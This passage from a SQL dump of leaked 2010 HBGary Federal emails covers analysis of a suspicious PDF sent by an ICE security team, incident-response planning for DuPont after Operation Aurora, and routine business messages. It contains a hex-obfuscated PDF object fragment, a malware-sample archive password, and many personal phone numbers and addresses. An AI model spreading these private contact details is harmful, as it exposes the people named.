R\r\n&nbsp;&nbsp; /P#61g#65#73 3 0 R\r\n&nbsp;&nbsp; /Op#65#6e#41#63#74ion 5 0 R\r\n&nbsp;&gt;&gt;\r\n\r\n\r\nI see what look like hex bytes in the object definitions.&nbsp; This could be\r\ngood....\r\n\r\nOn Tue, Jan 19, 2010 at 5:54 PM, Varine, Brian R &lt;Brian.Varine@dhs.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks. I swear we’re a magnet for malicious PDF’s\r\n\r\n&nbsp;\r\n\r\nBrian Varine Chief, ICE\r\n Security Operations\r\n Center and CSIRCInformation Assurance Division, OCIOU.S. Immigration and Customs Enforcement202-732-2024\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] \r\n\r\nSent: Tuesday, January 19, 2010\r\n5:52 PM\r\nTo: Varine, Brian R\r\nSubject: Re: PDF exploit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;You bet.&nbsp; I\r\nhave to run out to a family event but will lab it up tonight and be in touch.\r\n\r\nOn Tue, Jan 19,\r\n2010 at 5:45 PM, Varine, Brian R &lt;Brian.Varine@dhs.gov&gt; wrote:\r\n\r\n\r\n\r\nPhil,&nbsp;We have a weird one here. We’re not sure what it does (if anything)\r\nbut our IDS doesn’t like it. Password is 1nf3ct3d&nbsp;&nbsp;&nbsp;\r\n\r\nBrian Varine Chief, ICE\r\n Security Operations\r\n Center and CSIRCInformation Assurance Division, OCIOU.S. Immigration and Customs Enforcement202-732-2024\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] \r\n\r\nSent: Tuesday, January 19, 2010\r\n5:09 PM\r\nTo: Maria Lucas\r\nCc: Varine, Brian R\r\nSubject: Re: PDF exploit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Hi Brian.&nbsp; I\r\nlooked at one last week:\r\n\r\nhttps://www.hbgary.com/phils-blog/malicious-pdf-analysis/\r\n\r\nI\'m sort of PDF junkie now so feel free to challenge me....\r\n\r\nOn Tue, Jan 19,\r\n2010 at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPhil has been\r\nlooking at the PDF exploits.... \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHere is Phil\'s\r\ncontact information\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPhil@hbgary.com\r\n\r\n\r\n\r\nCell 703-655-1208\r\n\r\n\r\n\r\nOffice\r\n703-860-8179\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9235,'aaron_hbgary_com/9235.html'),(2389,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001097.M69777P3547Q2387.eml','\"Ted Vera\" <tedvera@mac.com>','did u get this','hello?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8092,'aaron_hbgary_com/8092.html'),(2390,'2010-02-10','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001097.M842077P3547Q2390.eml','greg@hbgary.com,penny@hbgary.com,aaron@hbgary.com','Operation Aurora Report','We got our first story http://www.net-security.org/malware_news.php?id=1223\r\n&nbsp;\r\nI\'ve already tweeted about the report/free utility --\r\n&nbsp;\r\nwill keep you posted on additional coverage today.\r\n\r\n',9274,'aaron_hbgary_com/9274.html'),(2391,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001098.M281980P3547Q2392.eml','\"Greg Hoglund\" <greg@hbgary.com>','DARPA BAA','Greg,\r\n\r\nAre you going to have any time to discuss today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13479,'aaron_hbgary_com/13479.html'),(2392,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001098.M520874P3547Q2393.eml','\"Aaron Barr\" <aaron@hbgary.com>','sans rr link','http://www.sans.org/reading_room/whitepapers/incident/\r\n',12181,'aaron_hbgary_com/12181.html'),(2393,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001098.M53082P3547Q2391.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,','RE: Dupont Proposal v4 - Need your help to finish please','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Phil these are all good.  My comments in green below.\r\n\r\n&nbsp;\r\n\r\nWe need to use this as the straw man for our action plan / work\r\nflow once on site.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Wednesday, February 10, 2010 9:21 AM\r\nTo: Rich Cummings\r\nCc: Aaron Barr; Bob Slapnik; Penny C. Hoglund; Ted Vera; Greg Hoglund\r\nSubject: Re: Dupont Proposal v4 - Need your help to finish please\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAnswered in-line with blue\r\nfont:\r\n\r\n\r\n\r\nOn Wed, Feb 10, 2010 at 8:14 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nWere\r\non the home stretch here.&nbsp; A couple more things need to happen to get this\r\nsolidified, sent off to DuPont, and get us ready to deliver as soon as\r\nMonday.&nbsp; Please look below and provide any input you may have.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinish Proposal &#8211; This morning\r\n\r\no&nbsp;&nbsp; I accepted Phil&#8217;s suggestions and\r\nI&#8217;ve added a couple comments.\r\n\r\no&nbsp;&nbsp; Still need pricing broken\r\nout for Task 2 &#8211; Bob &#8211; Aaron &#8211; Ted, Penny?\r\n\r\no&nbsp;&nbsp; Do we remove Task 3 Remediation\r\ncompletely?&nbsp; I think so mainly because we don&#8217;t recommend trying to clean\r\na machine but to only wipe and rebuild.&nbsp; \r\n\r\no&nbsp;&nbsp; Legal Jargon needs to be\r\nreviewed and approved &#8211; Penny?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nResources from Partners Foundstone or PWC &#8211;&nbsp; Today\r\n\r\no&nbsp;&nbsp; Primary requirement for consultants\r\nwould be to help out analyzing machines, documentation, tracking events and\r\ntimeline.&nbsp; \r\n\r\n§&nbsp; Phil said PWC could help &#8211; they would\r\ncost roughly 300 per hour\r\n\r\no&nbsp;&nbsp; What about Foundstone? &nbsp;Penny can you call them or let me know who the\r\ncontact is and I will call them.\r\n\r\n§&nbsp; What do they cost?&nbsp; Who are\r\nthey?&nbsp; \r\n\r\n§&nbsp; How soon can they be available?&nbsp; Can\r\nwe see resumes?&nbsp; We should list the technical requirements of the\r\nresources available\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Active\r\nDefense Software from Engineering &#8211; Rich is\r\nworking with Greg on this.&nbsp; Phil what is missing, what are your thoughts?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe Altiris deployment is the\r\nX-factor for me.&nbsp; It\'s untested (to my knowledge) and probably can\'t be\r\nrelied up on as our first choice for agent distribution.&nbsp; I believe a\r\nnetwork discovery task is an essential first step.&nbsp; We\'ve asked for\r\nnetwork diagrams which is great.&nbsp; We\'ll also need the Active Directory\r\ncontainer dump, the Altiris agent list, and permission to do a nmap sweep of\r\nall ranges associated with the facility.&nbsp; We should spend a little time\r\ncollating and diffing these lists.\r\n\r\nProviding the customer with an accurate node count and diagram is a deliverable\r\nin and of itself.&nbsp; But to another end it covers us.&nbsp; We swept XXX\r\nnodes that were discovered via diverse means...\r\n\r\n&nbsp;\r\n\r\nGreat Points:  I agree with both.  Scanning will be a step in\r\nand of itself.   Accurate node count deliverable is great idea.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp; Greg is working to make sure I have\r\na solid copy of Active Defense (AD) to use on site at the customers.\r\n\r\no&nbsp;&nbsp; Goal is to have a working copy of\r\nAD on my laptop by Friday night so I can test this weekend and deploy on Monday\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe should have multiple laptops\r\ninstalled and ready to sweep.&nbsp; Who knows what physical constraints we\'ll\r\nhave e.g. isolated segments.&nbsp; We could multi-thread our scans. \r\n\r\n&nbsp;\r\n\r\nDefinitely have multiple laptops ready to scan.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp; Talk with Engineering about\r\ndeploying the DDNA agent via Altiris using command line switches\r\n\r\n§&nbsp; Instead of using WMI through AD * this\r\nwill happen frequently if customer has existing system they are familiar with\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Items\r\nwe need from DuPont prior to commencement of project &#8211; Phil,\r\nwhat is missing here?\r\n\r\no&nbsp;&nbsp; List of all security software and\r\napplications on their standard build of workstation and server\r\n\r\no&nbsp;&nbsp; Copies of known good Gold Builds or\r\nVMware images would be great for us to make sure our DDNA is dialed-in for\r\ntheir known stuff\r\n\r\no&nbsp;&nbsp; Network diagrams to include\r\nGateways, Routers, Firewalls, Ingress &amp; Egress points\r\n\r\no&nbsp;&nbsp; What Security related data is\r\navailable to us?\r\n\r\n§&nbsp; SIM Tool?\r\n\r\n§&nbsp; IDS? IPS?\r\n\r\n§&nbsp; Firewall Logs?\r\n\r\n§&nbsp; What is logging policy?&nbsp; What is\r\nlogged?&nbsp; How long are logs kept?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll good questions above.&nbsp;\r\nWe need a Dupont rep on this effort full-time to reduce waiting time for\r\nanswers to questions that come up from our searches through the above logs.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdditional Software required by team to be successful &#8211; Phil, Greg, Ted, Aaron? PWC and Foundstone\r\n\r\no&nbsp;&nbsp; Forensics\r\n\r\n§&nbsp; Encase Enterprise &#8211; got it for enterprise\r\nsearching, forensic preservation/duplication and analysis \r\n\r\no&nbsp;&nbsp; Network Data &#8211; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis appears to be a small\r\nshop.&nbsp; I\'d like to request that we get permission to deploy our own\r\nnetwork sensor.&nbsp; Specifically Bothunter from SRI.&nbsp; It\'s a specialized\r\nSnort that looks for bot traffic.&nbsp; We can tweak it to look for the C&amp;C\r\ncommos from Aurora.&nbsp; We just need a SPAN port on their egress point.\r\n\r\n&nbsp;\r\n\r\nOK. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n§&nbsp; Log Analysis\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Splunk\r\n&#8211; freeware to help analyze logs\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OSSec-\r\nOpen source log analysis\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Indexing\r\nSoftware &#8211; I&#8217;ve got a copy of DT Search to index logs if needed\r\n\r\n§&nbsp; Packet Data Capture &amp; Analysis &#8211;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wireshark\r\n&#8211; \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Netwitness\r\n&#8211; freeware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSnort loaded with ET sigs.\r\n\r\n\r\n&nbsp;\r\n\r\nET Sigs?  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp; Visualization and Link Analysis\r\n\r\n§&nbsp; Palantir?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\r\nhaven&#8217;t installed yet.. need to today\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Can we\r\nget some Risk Intelligence from End-Game?&nbsp; Aaron\r\n\r\no&nbsp;&nbsp; Active command and control servers\r\nfor Aurora\r\n\r\no&nbsp;&nbsp; Other relevant info to help\r\nmitigate threats at the gateway\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlan the Mission:&nbsp; Document the Action Plan, Process, and Work-Flow\r\n(Phil, Rich, Greg, Ted, Aaron, PWC or Foundstone)\r\n\r\no&nbsp;&nbsp; Define the Mission:&nbsp; \r\n\r\n§&nbsp; HBGary\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Identify\r\nany compromised hosts inside of the Dupont Manufacturing facility &#8211; Up to 600\r\nWindows machines\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can offer Unix reviews\r\nthrough our PwC partners too.&nbsp; Why leave any stone unturned?&nbsp; It\'s\r\nnot quite memory analysis but it does cover best practices and log\r\nreview.&nbsp; Also I could perform this if needed.\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Provide\r\na &#8220;Risk Intelligence&#8221; report to help Dupont explaining the nature of any found\r\nthreats\r\n\r\n§&nbsp; Dupont\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dupont\r\nwants to build a case for a more comprehensive security strategy and approach\r\nto mitigating risk across the enterprise\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dupont\r\nis hopeful this investigation will help them to get the executive support\r\nneeded to accomplish this goal \r\n\r\no&nbsp;&nbsp; What are we going to do?\r\n\r\no&nbsp;&nbsp; How are we going to do this?\r\n\r\n§&nbsp; Task 1 &#8211; list out details for each task \r\n\r\n§&nbsp; Task 2\r\n\r\n§&nbsp; Task 3\r\n\r\no&nbsp;&nbsp; Dominate the Environment - Roles\r\nand Responsibilities\r\n\r\n§&nbsp; Who is who in the zoo?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes.&nbsp; Rich is lead and\r\nshould direct the partners and the Dupont rep. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp; What could possibly go wrong in the\r\norder of probability\r\n\r\no&nbsp;&nbsp; What are the contingencies and\r\ncountermeasures?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWill call you about this.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8636,'aaron_hbgary_com/8636.html'),(2394,'2010-02-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001106.M640064P3547Q2394.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Teaming Agreement for Guardian','Saved it on the shared drive.\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Logel, Moira \r\nDate: Wed, Feb 10, 2010 at 7:18 AM\r\nSubject: RE: Teaming Agreement for Guardian\r\nTo: Ted Vera \r\nCc: \"Willis, Dan\" \r\n\r\n\r\nThank you for the quick response, Ted.  I\'ve attached a fully executed\r\ncopy of the TA for your records.\r\n\r\nMoira Logel\r\nSr. Contracts Administrator\r\nMacAulay-Brown, Inc.\r\nPhone:  (937) 426-3421\r\nFax:  (937) 426-5364\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, February 09, 2010 4:52 PM\r\nTo: Logel, Moira\r\nCc: Willis, Dan\r\nSubject: Re: Teaming Agreement for Guardian\r\n\r\nMoira,\r\n\r\nAttached is the signed TA.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Feb 9, 2010 at 9:40 AM, Logel, Moira  wrote:\r\n> Hello, Ted.\r\n>\r\n>\r\n>\r\n> The attached TA is forwarded for your review.  Please ensure I have\r\n> correctly identified your administrative information and POCs.  If\r\n> correct, and the TA language is acceptable, please return a signed\r\n> copy to my attention.\r\n>\r\n>\r\n>\r\n> Please also feel free to contact me with any questions you may have.\r\n>\r\n>\r\n>\r\n> Thank you.\r\n>\r\n>\r\n>\r\n> Moira Logel\r\n>\r\n> Sr. Contracts Administrator\r\n>\r\n> MacAulay-Brown, Inc.\r\n>\r\n> Phone:  (937) 426-3421\r\n>\r\n> Fax:  (937) 426-5364\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1506,'aaron_hbgary_com/1506.html'),(2395,'2010-02-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001107.M292489P3547Q2396.eml','\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,aaron@hbgary.com','HBGary Federal/NGES Collaboration','\r\n\r\n\r\n\r\n\r\nHBGary Federal/NGES Collaboration \r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Conroy, Thomas W.\r\nStart Time:Friday, February 12, 2010 2:00 PM\r\nEnd Time:Friday, February 12, 2010 3:00 PM\r\nTime Zone:(GMT-06:00) Central Time (US &amp; Canada)\r\nLocation:1550 West Nursery Road, Linthicum, md&nbsp; (5TH fLOOR SCIF, 5038)\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nrescheduled per discussions and emails yesterday\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5333,'aaron_hbgary_com/5333.html'),(2396,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001107.M43854P3547Q2395.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Meeting Today','I am assuming we are moving our meeting to the backup date/time?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6400,'aaron_hbgary_com/6400.html'),(2397,'2010-02-10','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001107.M498946P3547Q2397.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Is the meeting still on?','\r\n\r\n\r\n\r\n\r\nRE: Is the meeting still on?\r\n\r\n\r\n\r\n\r\nrescheduled for Friday at 3:00.&nbsp;\r\nTom is on road home now.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 2/10/2010 9:56 AM\r\nTo: Robinson, Cassie\r\nSubject: Is the meeting still on?\r\n\r\nI am hoping not. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4201,'aaron_hbgary_com/4201.html'),(2398,'2010-02-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001107.M706666P3547Q2398.eml','aaron@hbgary.com','Re: Meeting Today','\r\n\r\n\r\n\r\n\r\nRe: Meeting Today\r\n\r\n\r\n\r\n\r\nYes. Very insightful of you. See you then.\r\n\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Wed Feb 10 10:48:00 2010\r\nSubject: Meeting Today\r\n\r\nI am assuming we are moving our meeting to the backup date/time?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16845,'aaron_hbgary_com/16845.html'),(2399,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001107.M942538P3547Q2399.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Meeting Today','I pride myself in being able to make conclusions on the obvious.AaronFrom my iPhoneOn Feb 10, 2010, at 12:07 PM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYes. Very insightful of you. See you then.\r\n\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Wed Feb 10 10:48:00 2010\r\nSubject: Meeting Today\r\n\r\nI am assuming we are moving our meeting to the backup date/time?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8944,'aaron_hbgary_com/8944.html'),(2400,'2010-02-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001108.M237831P3547Q2400.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Moving on from Linden Lab','Got this from Chris Collins - he\'s starting a new company.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Chris Collins \r\nDate: Wed, Feb 10, 2010 at 9:48 AM\r\nSubject: Moving on from Linden Lab\r\nTo: Ted Vera \r\nCc: Adam Nelson \r\n\r\n\r\nTed,\r\n\r\nI wanted to give you a heads up that I have decided to leave Linden\r\nLab. It\'s been a great 3.5 years here, including the work with you,\r\nbut it is time for me to try a new challenge. Virtual Worlds in the\r\nEnterprise space continue to pick up steam and it is with that\r\nmomentum I am starting my own company in the space around Virtual\r\nWorlds, specifically SLE.\r\n\r\nThe SL Enterprise business continues to gain traction, and is in good\r\nhands with the Enterprise team.  As far as sponsorship for the work we\r\nare doing with HB Gary, Adam Nelson will be your contact working with\r\nyou at the same capacity that I was.  I\'m committed to helping you\r\nthrough the transition in any way I can, my last day is the 19th and\r\nwill make myself available for any calls that you wish to have. I hope\r\nto work together in the future to continue to extend the effectiveness\r\nof Second Life in the Enterprise.\r\n\r\nregards,\r\nChris\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6584,'aaron_hbgary_com/6584.html'),(2401,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001108.M472589P3547Q2401.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Moving on from Linden Lab','what was the password for setup for your polycom...mines not working\r\n\r\nOn Feb 10, 2010, at 12:12 PM, Ted Vera wrote:\r\n\r\n> Got this from Chris Collins - he\'s starting a new company.\r\n>\r\n> Ted\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Chris Collins \r\n> Date: Wed, Feb 10, 2010 at 9:48 AM\r\n> Subject: Moving on from Linden Lab\r\n> To: Ted Vera \r\n> Cc: Adam Nelson \r\n>\r\n>\r\n> Ted,\r\n>\r\n> I wanted to give you a heads up that I have decided to leave Linden\r\n> Lab. It\'s been a great 3.5 years here, including the work with you,\r\n> but it is time for me to try a new challenge. Virtual Worlds in the\r\n> Enterprise space continue to pick up steam and it is with that\r\n> momentum I am starting my own company in the space around Virtual\r\n> Worlds, specifically SLE.\r\n>\r\n> The SL Enterprise business continues to gain traction, and is in good\r\n> hands with the Enterprise team.  As far as sponsorship for the work we\r\n> are doing with HB Gary, Adam Nelson will be your contact working with\r\n> you at the same capacity that I was.  I\'m committed to helping you\r\n> through the transition in any way I can, my last day is the 19th and\r\n> will make myself available for any calls that you wish to have. I hope\r\n> to work together in the future to continue to extend the effectiveness\r\n> of Second Life in the Enterprise.\r\n>\r\n> regards,\r\n> Chris\r\n>\r\n>\r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n',11415,'aaron_hbgary_com/11415.html'),(2402,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001108.M697460P3547Q2402.eml','\"Greg Hoglund\" <greg@hbgary.com>','Aurora','After some consideration and some research, I see there are 3 separate  \r\nevents that use some of the same framework as Aurora.  The summer  \r\nevent which used the PDF exploit and the Hydraq payload.  The Xmas  \r\nevent (actual Aurora) which use the IE6 exploit.  And then everything  \r\nafter the exploit was made public.\r\n\r\nI am of the opinion that the only government sponsored event was the  \r\nXmas event.  For the sole reason.  Who would be motivated to gain  \r\naccess to chinese government dissident email accounts.  Who would be  \r\nmotivated to plan an attack on Dec25-Jan4 and then erase all traces.\r\n\r\nI think it is plausible that after the Xmas event the exploit was  \r\nrelease by the government in order to create a lot of noise and  \r\nconfusion.\r\n\r\nMaybe an equally important event to trace back to is the release of  \r\nthe exploit after Jan.5th.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\n\r\n',5394,'aaron_hbgary_com/5394.html'),(2403,'2010-02-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001108.M967721P3547Q2403.eml','\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,aaron@hbgary.com,\"Armitage, James L.\" <james.armitage@ngc.com>','HBGary Federal/NGES Collaboration','\r\n\r\n\r\n\r\n\r\nHBGary Federal/NGES Collaboration \r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Conroy, Thomas W.\r\nStart Time:Friday, February 12, 2010 2:00 PM\r\nEnd Time:Friday, February 12, 2010 3:00 PM\r\nTime Zone:(GMT-06:00) Central Time (US &amp; Canada)\r\nLocation:1550 West Nursery Road, Linthicum, md&nbsp; (5TH fLOOR SCIF, 5038)\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nrescheduled per discussions and emails yesterday\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',632,'aaron_hbgary_com/632.html'),(2404,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001109.M208142P3547Q2404.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Contact Info - more to come','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI - Mcafee guy below just called\r\nand said that Dupont was interested in hearing about the DDNA integration with\r\nePO.&nbsp;&nbsp; They are going on site to Dupont next week as they are presenting the\r\nfuture of Mcafee epo etc.&nbsp; Dupont specifically asked them to have someone on\r\nstandby to discuss the integration and partnership.&nbsp; I&#8217;m going to get this guy\r\nan evaluation version and set him up with Phil to go through the product on\r\nMonday. &nbsp;\r\n\r\n&nbsp;\r\n\r\nHe will be in Delaware on\r\nWednesday presenting to Dupont.&nbsp; I said that we have spoken with Dupont and\r\nthey had tested DDNA already.&nbsp; I didn&#8217;t say anything else to them.\r\n\r\n&nbsp;\r\n\r\nRC\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nJason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com] \r\nSent: Wednesday, February 10, 2010 12:05 PM\r\nTo: rich@hbgary.com\r\nSubject: Contact Info - more to come\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nJason M. Winters\r\n\r\nEnterprise\r\nSystems Engineer | 